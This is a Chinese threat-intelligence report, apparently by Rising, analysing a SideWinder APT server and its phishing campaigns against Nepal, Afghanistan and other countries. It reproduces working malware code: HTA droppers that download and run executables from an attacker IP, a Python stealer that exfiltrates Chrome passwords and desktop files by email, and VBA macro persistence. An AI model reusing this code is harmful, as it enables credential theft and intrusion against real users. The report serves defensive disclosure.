概述
SideWinder
是一个至少从2012年就开始进行网络攻击的威胁组织,疑似来自印度。这个APT组织又被称为响尾蛇
、T-APT-04
、Rattlesnake
和APT-C-17
,是现今最活跃的组织之一。该组织主要是从事信息窃取和间谍活动,该组织的大多数的活动都集中在中国,巴基斯坦,阿富汗等国家,涉及的目标行业多为医疗,国防,政府和科技公司等。我们在针对最近一次攻击事件的分析中获得了SideWinder
组织控制的其中一台服务器的SSH登录凭据。
关联攻击事件概要
瑞星威胁情报平台
于2023年11月捕获到一起针对尼泊尔的攻击事件。攻击者通过邮件发送给尼泊尔政府机构钓鱼文档。当用户双击文档执行宏代码后,会在%LocalAppData%
目录下释放一些脚本文件,在启动目录下释放一个vbs
脚本文件(脚本会执行指定的脚本文件),在%LocalAppData%\Microsoft
目录下释放一个压缩文件(里面是一个Nim
编写的后门程序)。据国内外安全厂商披露,该程序是BabyElephant
组织开发的C++
后门的变种,因为SideWinder
和BabyElephant
的攻击具有高度的相似性,通过将本次攻击行动与SideWinder
组织过往攻击事件对比分析,将本次捕获到的攻击行动归属于SideWinder
组织。
我们对相关事件的响应时间线
事件 | 时间 |
---|---|
发现SideWinder组织攻击事件 | 2023.11.25 |
撰写针对相关事件的分析报告,同时获取到了SSH登录凭据 | 2023.11.25-2023.12.11 |
利用SSH登录凭据登录并转储服务器上文件及数据库 | 2023.12.11 |
整理和分析获取的文件及数据库 | 2023.12.25-2024.5.13 |
撰写该分析报告 | 2024.5.14-2024.5.27 |
服务器信息概览
本次获取到的SSH登录凭据对应的用户名为telum
,我们提取了/etc
、/var/www
、/home/telum
三个目录下的文件,此外还对MySQL
数据库的内容进行了转储。
服务器上的/etc/passwd
文件内容如下:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
voldemort:x:1000:1000:,,,:/home/voldemort:/bin/bash
telum:x:1001:1001:,,,:/home/telum:/bin/bash
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false
根据文件内容可知,该服务器一共有3个可正常登录Shell的用户。
/var/www
目录下只有一个名为html
的子目录,目录下包含大量钓鱼网站源文件以及部分恶意程序。目录下的恶意程序主要分为三类:木马下载器(脚本)、信息窃取木马和后门程序。
我们获取了telum
用户的登录凭据,在该用户的home
目录下同样也发现了一些恶意程序,主要分为两类:信息窃取木马和后门程序。
两个后门程序分别为/home/telum/.local
目录下名为error
的文件,这是一个ELF
格式的文件,实际为Sliver
攻击框架生成的客户端;还有一个则包含在名为cloudAP.zip
的加密压缩包内,相关内容会在后文中提及。而图上名为GlobalProtect64.msi
的文件实际上是Palo Alto Network
公司推出的GlobalProtect
安装包。
服务器上运行的MySQL
实例里有一个名为target
的数据库,内部包含46张数据库表,均和服务器上存储的钓鱼网站相关
攻击方式与攻击目标分析
在服务器的/var/www/html
目录下我们发现了大量钓鱼网站源文件以及部分恶意程序,服务器上运行的MySQL
数据库也与钓鱼网站相关联,此外我们还发现了上文中提到的后门关联的部分服务端组件以及服务端为每个独立的受害者创建的文件/文件夹等数据。遗憾的是我们还原了服务器上加密保存的后门受害者的相关数据,并未发现有效的信息。钓鱼网站的目的以获取邮箱登录凭据为主,因此我们推断SideWinder
可能会利用窃取来的邮箱登录凭据向攻击对象发送包含恶意附件的钓鱼邮件,以降低攻击目标的警惕性。
钓鱼网站攻击目标统计
我们分析了在服务器上发现的所有的钓鱼网站源码并逐个进行攻击目标判断,发现该组织主要攻击的国家均为亚洲国家,而这台服务器的统计数据里尼泊尔
和阿富汗
占比最高,分别为43.8%
和32.8%
。
国家 | 数量 | 占比 |
---|---|---|
尼泊尔 | 60 | 43.8% |
阿富汗 | 45 | 32.8% |
缅甸 | 12 | 8.8% |
斯里兰卡 | 6 | 4.4% |
马尔代夫 | 6 | 4.4% |
不丹 | 4 | 2.9% |
中国 | 3 | 2.2% |
卡塔尔 | 1 | 0.7% |
按时间来分类,该组织在2020年
的攻击很频繁,占比48.9%
,之后呈下降趋势,2022年的攻击数量最少,占比仅9.5%
,但到2023年数量又有所回升。
时间 | 数量 | 占比 |
---|---|---|
2023 | 17 | 12.4% |
2022 | 13 | 9.5% |
2021 | 40 | 29.2% |
2020 | 67 | 48.9% |
具体各年份统计数据如下:
时间 | 国家 | 数量 |
---|---|---|
2023 | 阿富汗 | 11 |
2023 | 尼泊尔 | 6 |
时间 | 国家 | 数量 |
---|---|---|
2022 | 缅甸 | 3 |
2022 | 马尔代夫 | 3 |
2022 | 尼泊尔 | 3 |
2022 | 阿富汗 | 3 |
2022 | 不丹 | 1 |
时间 | 国家 | 数量 |
---|---|---|
2021 | 阿富汗 | 16 |
2021 | 尼泊尔 | 14 |
2021 | 缅甸 | 8 |
2021 | 马尔代夫 | 1 |
2021 | 不丹 | 1 |
时间 | 国家 | 数量 |
---|---|---|
2020 | 尼泊尔 | 37 |
2020 | 阿富汗 | 15 |
2020 | 斯里兰卡 | 6 |
2020 | 中国 | 3 |
2020 | 马尔代夫 | 2 |
2020 | 不丹 | 2 |
2020 | 缅甸 | 1 |
2020 | 卡塔尔 | 1 |
按行业分类,目标行业以政府
和国防/军事
为主,占比分别为40.9%
和18.3%
。
行业 | 数量 | 占比 |
---|---|---|
政府 | 56 | 40.9% |
国防/军事 | 25 | 18.3% |
经济/商务 | 15 | 10.9% |
交通/运输 | 12 | 8.8% |
能源/电力 | 10 | 7.3% |
通信/信息技术 | 9 | 6.6% |
医疗/卫生 | 4 | 2.9% |
文化/旅游 | 2 | 1.5% |
教育 | 1 | 0.7% |
环境 | 1 | 0.7% |
媒体 | 1 | 0.7% |
慈善组织 | 1 | 0.7% |
钓鱼网站实际受害者统计
我们对钓鱼网站关联的数据库内的数据进行了分析和筛选,发现该服务器上尼泊尔
和阿富汗
提交的登录凭据占比最高,分别为74.7%
和17.3%
。
国家 | 数量 | 占比 |
---|---|---|
尼泊尔 | 307 | 74.7% |
阿富汗 | 71 | 17.3% |
缅甸 | 30 | 7.3% |
不丹 | 3 | 0.7% |
数据库表nepal
包含最多的登录凭据,共钓取了93
个登录凭据,关联的钓鱼网站针对的国家是尼泊尔
。
针对中国的钓鱼攻击
上面的钓鱼网站统计里我们可以看到,共有3个针对中国
的钓鱼网站,其中两个位于/var/www/html/&
目录,另一个则位于/var/www/^/meacn
目录
两个位于/var/www/html/&
目录的钓鱼网站,一个仿冒中华人民共和国外交部
的邮件系统,另一个则是仿冒中华人民共和国商务部
的邮件系统,文件的最后修改时间均在2020年底,因此有许多引用原站点的图片已经无法正常引用了
两个站点均关联着名为mofa
的数据库表,这个数据库表还关联着多个钓鱼网站。虽然我们转储的MySQL
数据库内的确有相关数据库表,但经过检查发现内部并未包含从这两个站点钓取的登录凭据
在/var/www/html/&/cmfa
目录下,我们还发现了一份名为Wang Yi with_Maltese_Minister.pdf
的诱饵文档(文件无害),PDF文档内容是王毅与马耳他外交与欧洲事务部长埃瓦里斯特·巴托洛通电话
的新闻稿
<html>
<head>
<script language="VBScript">
Sub window_onload
window.resizeTo screen.availWidth/10,screen.availHeight/10
window.moveTo screen.availWidth/-1,screen.availHeight/-1
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /K curl http://185.163.47.226/%26/cmfa/Wang\ Yi\ with_Maltese_Minister.pdf --output Wang\ Yi\ with_Maltese_Minister.pdf --silent %26 Wang\ Yi\ with_Maltese_Minister.pdf %26 curl http://185.163.47.226/%26/cmfa/scvhost.txt --output my.txt --silent %26 rename my.txt my.exe %26 my.exe %26 del /f my.exe %26 exit",0,True
Set WshShell = Nothing
window.close true
End Sub
</script>
</html>
诱饵文档由同目录下一个名为cmfa.hta
的恶意文件触发下载(上面展示的是恶意文件的内容),该文件还会下载另一个恶意程序(文件名为scvhost.txt
)。该目录下我们找到了对应的可执行文件,文件已经损坏,无法正常运行。但经过分析,我们认为这个文件与/var/www/html/$/nitc
下的同名文件高度相似(该文件可以正常运行并表现出恶意行为),下表是同名文件的基本信息。我们将在后文分析其变种(服务器的/var/www/html
目录下包含多个名为scvhost.txt
的文件,各文件恶意行为基本一致,均属于信息窃取木马),此处不再展开分析
字段 | 内容 |
---|---|
原始文件名 | scvhost.txt |
文件大小 | 14.3 MB (14,998,787 bytes) |
文件MD5 | 86fe7c6a9216c1e3f051fc730da072ef |
病毒名 | Stealer.Agent/PYC!1.F206 |
文件类型 | EXE |
主要功能 | 窃取信息 |
而另一个位于/var/www/^/meacn
目录的网站,则是仿冒北京优越智腾咨询有限公司
的Plesk管理后台登录页面(Plesk是一款服务器管理软件),文件的最后修改时间也在2020年底
这个钓鱼网站与多个钓鱼网站共用一个名为mvdef
的数据库表,经过检查发现内部均为无效数据
典型案例分析
案例1:针对尼泊尔的钓鱼行动
我们在服务器的/var/www/html/$/nepal
目录下找到了一个名为bop Panchewor baitadi.rar
的压缩包,内部包含多个恶意的快捷方式,疑似为钓鱼邮件内包含的恶意附件,并且同级目录下也有与该压缩包相关的其他恶意文件,此处我们对这组样本进行分析。
攻击流程图
诱饵文档内容
由内容可知,该文档是尼泊尔内政部下属的警察部门发布的2020年尼泊尔恶行事件统计报告。
快捷方式分析
字段 | 内容 |
---|---|
原始文件名 | SN 270 No.41 btn.pdf.lnk |
文件大小 | 1.75 KB (1,795 bytes) |
文件MD5 | 7eb59dc87ac4757adbc17dae7474df27 |
病毒名 | Downloader.Mshta/LNK!1.BADA |
文件类型 | LNK |
主要功能 | 下载文件 |
攻击者使用伪装成pdf
文档的快捷方式作为初始攻击武器,由钓鱼网站、邮件等方式进行投递,诱骗用户启动执行。快捷方式的目标为C:\Windows\System32\mshta.exe hxxp://185.163.47.226/$/nepal/npa.hta
,功能是调用系统工具mshta.exe
执行位于远程服务器上的脚本。
HTA脚本分析
字段 | 内容 |
---|---|
原始文件名 | npa.hta |
文件大小 | 591 bytes |
文件MD5 | b6ef99c2eb1fd2bdf8b49ced842f1abc |
病毒名 | Downloader.Agent/VBS!1.FBD1 |
文件类型 | HTML |
主要功能 | 下载文件 |
位于远程服务器上的npa.hta
实际为html
文档,通过执行内嵌的VBScript
脚本实现诱饵文档和恶意载荷的下载、执行等功能,其代码如下。
<html>
<head>
<script language="VBScript">
Sub window_onload
window.resizeTo screen.availWidth/10,screen.availHeight/10
window.moveTo screen.availWidth/-1,screen.availHeight/-1
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /K curl hxxp://185.163.47.226/$/nepal/2.pdf --output 2.pdf --silent & 2.pdf & curl hxxp://185.163.47.226/$/nepal/scvhost.txt --output my.txt --silent & rename my.txt my.exe & my.exe & del /f my.exe & exit",0,True
Set WshShell = Nothing
window.close true
End Sub
</script>
</html>
信息窃取木马分析
字段 | 内容 |
---|---|
原始文件名 | scvhost.txt |
文件大小 | 16.9 MB (17,729,640 bytes) |
文件MD5 | 4af5e9611013eb5ef9d08a3cd66cb6a0 |
病毒名 | Stealer.Agent/PYC!1.F206 |
文件类型 | EXE |
主要功能 | 窃取信息 |
下载的scvhost.txt
是由Python
语言编写并使用PyInstaller
打包的可执行程序,也是上文中提到的信息窃取木马的一个变种,负责从本地窃取信息然后经过编码、加密处理后以邮件方式传送给攻击者持有的邮箱,其中窃取的信息种类包括主机名、主机IP、公网IP、桌面文件以及浏览器本地数据等。
窃取桌面文件
该病毒将读取位于用户桌面上指定类型的文件内容,然后经过编码处理后以邮件附件的方式发送到攻击者持有的邮箱,以此完成文件信息窃取。指定的文件类型包括jpg
、png
、pdf
、csv
、docx
、doc
、txt
、jpeg
、xlsx
、xls
、xml
、dotm
、dot
、gif
。
发送邮件的代码如下:
def files_send(location): #使用邮件发送信息,参数为文件路径
email = 'a1b2c3d9e8@gmail.com' #攻击者持有的邮箱地址
password = 'qwerty@12345'
subject = str(location.split('/')[-1]) #获取文件名
message = ''
msg = MIMEMultipart()
msg['From'] = email
msg['To'] = email
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
filename = os.path.basename(location)
attachment = open(location, 'rb') #读取文件内容
part = MIMEBase('application', 'octet-stream')
part.set_payload(attachment.read())
encoders.encode_base64(part) #base64编码处理
part.add_header('Content-Disposition', 'attachment; filename= %s' % filename)
msg.attach(part) #数据以附件方式随邮件一起发送
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email, password) #登录邮箱
text = msg.as_string()
server.sendmail(email, email, text) #发送邮件,此处收件人和发件人为同一地址
server.quit()
窃取主机信息
攻击者窃取的主机信息包括桌面文件列表、主机名、IP地址,经过base64编码处理后以邮件方式发送给攻击者。
#用户桌面文件列表
user_name = getpass.getuser()
desktop_loc = 'C:\\Users\\' + user_name + '\\Desktop'
command = 'cd ' + desktop_loc + ' & dir'
result_desktop_dir = subprocess.check_output(command, shell=True, universal_newlines=True)
data = 'Desktop Directory: \n' + result_desktop_dir + '\n'
#主机名、Ip地址
hostname = str(socket.gethostname())
local_ip = str(socket.gethostbyname(hostname))址
public_ip = str(requests.get('hxxp://ip.42.pl/raw').text)
#发送数据
final_data_2 = data + '\n\nusername of cpu: ' + user_name + '\t' + 'hostname: ' + hostname + '\tprivate ip: ' + local_ip + '\tpublic ip: ' + public_ip + '\n\n\n' + dt
dump1 = final_data_2.encode('utf-8')
dump641 = base64.b64encode(dump1)
base64_dump1 = dump641.decode('utf-8')
send_mail('a1b2c3d9e8@gmail.com', 'qwerty@12345', base64_dump1) #执行函数send_mail发送邮件
函数send_mail的代码如下:
def send_mail(email, password, message):
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
窃取浏览器密码
攻击者此处只获取了chrome
浏览器存储于本地的用户数据,包括历史记录、用户密码等。
#浏览器存储于本地的信息,站点、用户名、密码等
try:
master_key = get_master_key() #从local state中提取密钥
login_db = os.environ['USERPROFILE'] + os.sep + 'AppData\\Local\\Google\\Chrome\\User Data\\default\\Login Data'
shutil.copy2(login_db, 'Loginvault.db')
conn = sqlite3.connect('Loginvault.db')
cursor = conn.cursor()
passwords = ''
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = decrypt_password(encrypted_password, master_key) #使用提取的密钥对密钥执行AES加密
passwords += 'URL: ' + url + '\nUser Name: ' + username + '\nPassword: ' + decrypted_password + '\n'
#浏览器历史记录
dict_obj = bh.get_browserhistory()
history_chrome = dict_obj['chrome'][0:20]
#用户数据密文 + 浏览器历史记录
final_data = passwords + '\n\n\n' + 'History Chrome:\n\n' + str(history_chrome)
dump = final_data.encode('utf-8')
dump64 = base64.b64encode(dump)
base64_dump = dump64.decode('utf-8')
sending = 'c2VuZF9tYWlsKCJhMWIyYzNkOWU4QGdtYWlsLmNvbSIsInF3ZXJ0eUAxMjM0NSIsYmFzZTY0X2R1bXAp'
ddata = base64.b64decode(sending)
#解码后内容为:send_mail("a1b2c3d9e8@gmail.com","qwerty@12345",base64_dump)
eval(compile(ddata, '<string>', 'exec'))
案例2:针对Nucleus Vision投资者的钓鱼行动
我们在服务器的/var/www/html/NV
目录下找到了一个名为nucleus coins calculator.xlsm
的Excel表格,但该表格包含密码。我们使用字典爆破获得了密码asdfghjkl
。该表格包含恶意宏代码,且同级目录下也有配套的钓鱼网站源文件,此处我们对该样本进行分析。
攻击流程
配套的钓鱼网站(对应index.html
文件)针对的是Nucleus Vision
(简称NCASH
)这个加密货币的投资者。
攻击者疑似通过钓鱼邮件诱导投资者访问钓鱼网站提交登录凭据,凭据将提交至同目录下的index.php
。
$servername = "localhost";
$username = "root";
$password = "4rfvBHU*9ol.";
$dbname= "vision";
$conn = mysqli_connect($servername, $username, $password, $dbname);
$url='nucleus coins calculator.xlsm';
$ip=get_client_ip();
$useragent= $_SERVER['HTTP_USER_AGENT'];
// Check connection
if(!$conn){
die("ERROR: Could not connect. " . mysqli_connect_error());
}
// Escape user inputs for security
//$username = mysqli_real_escape_string($conn, $_REQUEST['username']);
//$password = mysqli_real_escape_string($conn, $_REQUEST['password']);
$username=$_POST['email'];
$password= $_POST['psw'];
// Attempt insert query execution
$sql = "INSERT INTO vision.nucleus (username, password,ipaddress,accesstime,signature) VALUES ('$username', '$password','$ip','$accesstime','$useragent')";
if(mysqli_query($conn, $sql)){
header('Location: '.$url);
} else{
echo "ERROR: Could not able to execute $sql. " . mysqli_error($conn);
}
PHP网页文件内将收集来的登录凭据保存至本地的数据库内名为vision
的数据库表(很遗憾我们并未在当前服务器运行的MySQL
数据库中找到对应的数据库表),随后跳转下载宏文档发起攻击。当受害者点击宏文档执行宏代码后,宏代码会在受害者机器上释放三个文件(分别是WindowsSecurity.zip
、a.bat
以及invisible2.vbs
),然后通过创建计划任务去启动invisible2.vbs
。invisible2.vbs
会解压WindowsSecurity.zip
获得WindowsSecurity.exe
远控木马程序,接着启动a.bat
。最后通过a.bat
执行WindowsSecurity.exe
远控木马。
恶意文档内容
nucleus coins calculator.xlsm
宏文档展示的内容主要是关于加密货币的一些投资信息。为了诱使受害者运行宏代码,攻击者会将文档的内容进行遮挡。当受害者运行宏代码后,遮挡图片被删除,文档内容将会显示出来。
nucleus coins calculator.xlsm分析
字段 | 内容 |
---|---|
文件名 | nucleus coins calculator.xlsm |
文件MD5 | C76C70142285F300C14E94A24BA5ECFE |
文件类型 | xlsm |
文件大小 | 1442816 bytes |
宏代码会从UserForm1
窗体中获取WindowsSecurity.zip
压缩包文件,并将该压缩包存于%appdata%
目录下。
Open path_file & ".zip" For Binary Access Write As #3
Put #3, , btsGohra7
Close #3
在%appdata%
目录下创建a.bat
。
invbsFile1 = appDataPath & Chr(92) + Chr(97) + Chr(46) + Chr(98) + Chr(97) + Chr(116)
Set objFile = objFSO.CreateTextFile(invbsFile1, True)
objFile.Writeline "schtasks /create /SC minute /MO 2 /TN WindowSecurityPatch /TR " & Chr(34) & filename2 & Chr(34) & " /F"
objFile.Close
在%appdata%
目录下创建invisible2.vbs
。
Set objFile = objFSO.CreateTextFile(invbsFile2, True)
objFile.Writeline "Set oApp = GetObject(""new:13709620-C279-11CE-A49E-444553540000"")"
objFile.Writeline "oApp.Namespace(" & Chr(34) & appDataPath & Chr(34) & ").CopyHere oApp.Namespace(" & Chr(34) & filename1 & Chr(34) & ").items"
objFile.Writeline "GetObject(""new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"").Run " & Chr(34) & appDataPath & "\a.bat" & Chr(34) & ", 0, False"
objFile.Close
创建一个名为UpdateTask
的计划任务来执行%appdata%
目录下的invisible2.vbs
。该任务在当前时间30秒后开始执行,并在开始60秒后结束触发。
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Microsoft Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
Dim endTime: ts = DateAdd("s", 60, Now)
endTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.EndBoundary = endTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = invbsFile2
Call service.GetFolder("\").RegisterTaskDefinition("UpdateTask", td, 6, , , 3)
删除遮挡图片,显示文档内容
ActiveSheet.Pictures.Delete
invisible2.vbs分析
字段 | 内容 |
---|---|
文件名 | invisible2.vbs |
文件MD5 | 8FAE258A3250E7C142F7B08C7EB66D91 |
文件大小 | 298 bytes |
文件类型 | VBScript |
文件目的 | 运行a.bat |
invisible2.vbs
的目的是将WindowsSecurity.zip
压缩包中的WindowsSecurity.exe
程序提取出来存于%appdata%
目录下,然后运行a.bat
。
Set oApp = GetObject("new:13709620-C279-11CE-A49E-444553540000")
oApp.Namespace("C:\Users\gg\AppData\Roaming").CopyHere oApp.Namespace("C:\Users\gg\AppData\Roaming\WindowSecurity.zip").items
GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B").Run "C:\Users\gg\AppData\Roaming\a.bat", 0, False
a.bat分析
字段 | 内容 |
---|---|
文件名 | a.bat |
文件MD5 | 2CA0C218B06E0157822C6DB10624BDBA |
文件大小 | 115 bytes |
文件类型 | bat |
文件目的 | 创建计划任务启动WindowSecurity.exe |
a.bat
目的是创建一个名为WindowSecurityPatch
的计划任务来每两分钟执行一次%appdata%\WindowSecurity.exe
。
schtasks /create /SC minute /MO 2 /TN WindowSecurityPatch /TR "C:\Users\gg\AppData\Roaming\WindowSecurity.exe" /F
WindowsSecurity.exe分析
字段 | 内容 |
---|---|
文件名 | WindowsSecurity.exe |
文件MD5 | 4752856003C476608DC1944338506212 |
文件大小 | 1661024 bytes |
文件类型 | EXE |
病毒名 | Backdoor.[SideWinder]Agent!1.F03A |
我们已在早期报告中分析过类似的样本(TODO:请市场部在这里贴上早期报告的网页链接),这里不再赘述。此样本中通信的C2服务器地址如下:
hxxp://sltmobitel.hopto.org/
hxxp://sltelecom.servehttp.com/
hxxp://lankabelltd.myftp.org/
hxxp://bankofceylon.sytes.net/
hxxp://expolanka.serveftp.com/
hxxp://srilankanairlines.redirectme.net/
一些其他的发现
- 服务器上还有一个名为
cloudAP.zip
的加密压缩包,存储于/var/www/html
下(在/home/telum
下也有一份同样的文件),该压缩包的密码强度并不高,同样被我们爆破出来(密码为##
),解压后获得cloudAP.exe
。该样本为xRAT
远控木马,C2服务器地址为telenor-mm.myftp.org
- 在服务器的
/var/www/html
目录下我们还发现了许多文本格式的文件(在/home/telum
下也有类似的文件),内容均为-----BEGIN CERTIFICATE-----
+base64
编码的可执行文件+-----END CERTIFICATE-----
,这些文件可以使用Windows
系统内置的certutil
工具将其还原为可执行文件,我们推断SideWinder
的部分攻击中可能先下载这类文件然后调用certutil
进行还原随后执行,此方案可以逃逸防火墙等网络流量监测软件/设备的检测 - 服务器上与钓鱼网站相关的所有的PHP网页文件(用于收集页面上用户输入的账号密码并将其保存至本地的MySQL数据库)内,均包含将默认时区设置为
Asia/kolkata
的代码($date = date_default_timezone_set('Asia/kolkata');
),而这个时区正是印度使用的时区
我们得出的结论
SideWinder
的确很有可能是一个来自印度
的APT组织SideWinder
主要攻击的目标是亚洲
国家,而且以南亚
和中亚
国家为主SideWinder
主要攻击的行业为政府
和国防/军事
SideWinder
主要的攻击方式仍是最常见的钓鱼邮件
,最终目的以信息窃取
为主SideWinder
的攻击频率有回升趋势
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
-
及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
- 瑞星病毒名
Backdoor.[SideWinder]Agent!1.EFFF Backdoor.[SideWinder]Agent!1.F03A Backdoor.[SideWinder]Agent!1.FACE